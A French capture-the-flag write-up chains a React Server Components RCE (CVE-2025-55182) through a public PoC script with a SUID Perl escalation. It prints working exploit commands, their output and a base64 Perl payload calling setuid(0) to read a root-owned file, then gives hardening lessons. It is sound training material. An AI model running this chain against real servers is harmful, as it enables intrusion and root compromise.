
[First-Blood-XO] Composant serveur React vulnérable à CVE-2025-55182 (RCE) → binaires SUID énumérés → /usr/bin/perl avait le bit SUID activé → utilisé setuid(0) de POSIX dans Perl pour escalader vers root → lu /root/flag.txt
Catégorie : Web Exploitation | Difficulté : Medium | Vulnérabilité : Exécution de Code à Distance → Élévation de Privilèges SUID
Le point de terminaison du Composant Serveur React est vulnérable à CVE-2025-55182 (RCE) → énumération des binaires SUID → /usr/bin/perl avait le bit SUID activé → utilisation de setuid(0) de POSIX de Perl pour élever les privilèges à root → lecture de /root/flag.txt.
Flag : MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
Cible : http://challenge.cybermesh.site:30035/
La cible était une application web basée sur React utilisant les Composants Serveur React (RSC) — une architecture relativement nouvelle qui exécute les composants côté serveur et diffuse la sortie sérialisée vers le client via un format de fil personnalisé.
Cette architecture introduit une frontière d'exécution côté serveur. Une gestion inappropriée des entrées à cette frontière est exactement ce qu'exploite CVE-2025-55182.
RCE sur les Composants Serveur React — Le serveur ne nettoie pas les entrées contrôlées par l'utilisateur avant qu'elles n'atteignent la couche d'exécution des composants côté serveur. Cela permet à un attaquant d'injecter des commandes shell au niveau du système d'exploitation qui s'exécutent dans le contexte du processus Node.js.
Déroulement de l'attaque :
Un PoC public existe pour cette CVE :
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
Vérification initiale — confirmation de la RCE et du contexte d'exécution :
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
Sortie :
[+] EXPLOITATION SUCCESSFUL
► app
Le serveur s'exécute en tant qu'utilisateur app. Pas root — escalade nécessaire.
Recherche de binaires SUID :
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
Sortie :
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl a le bit SUID activé. C'est un GTFOBin bien connu — lorsque Perl appartient à root et est SUID, il s'exécute avec les privilèges root indépendamment de qui l'invoque.
Construction d'une charge utile Perl encodée en base64 qui :
POSIX::setuid(0) pour s'élever à root/root/flag.txtLivrée via le point de terminaison RCE :
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
La charge utile décodée est approximativement :
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
Sortie :
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. La surface d'attaque des RSC est sous-estimée. Les Composants Serveur React sont un nouveau paradigme. De nombreux déploiements n'ont pas été durcis contre l'injection d'entrées à la frontière des composants serveur. Cette CVE rappelle que le « rendu côté serveur » n'est pas intrinsèquement sûr — la frontière d'exécution nécessite toujours une désinfection appropriée.
2. SUID sur les environnements d'exécution de script = root instantané.
/usr/bin/perl avec SUID est une erreur de configuration classique. GTFOBins le couvre en détail. Ne jamais définir le bit SUID sur les langages de script (Perl, Python, Ruby, etc.) — contrairement aux binaires compilés conçus pour SUID (su, passwd), ces environnements offrent des voies d'escalade triviales.
3. Le flag est conscient de lui-même.
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — le défi a été explicitement conçu autour de SUID Perl comme voie d'escalade prévue. Chaîne propre.
CVE-2025-55182 (RSC RCE)
└─> whoami → utilisateur "app"
└─> recherche binaires SUID
└─> /usr/bin/perl (SUID root) identifié
└─> charge utile Perl base64 → écriture dans /tmp/p.pl
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> FLAG ✓
Rédigé par Abdullah Maqbool — Ingénieur en Tests d'Intrusion @ TISS | CRTA · CRTOM · CompTIA PenTest+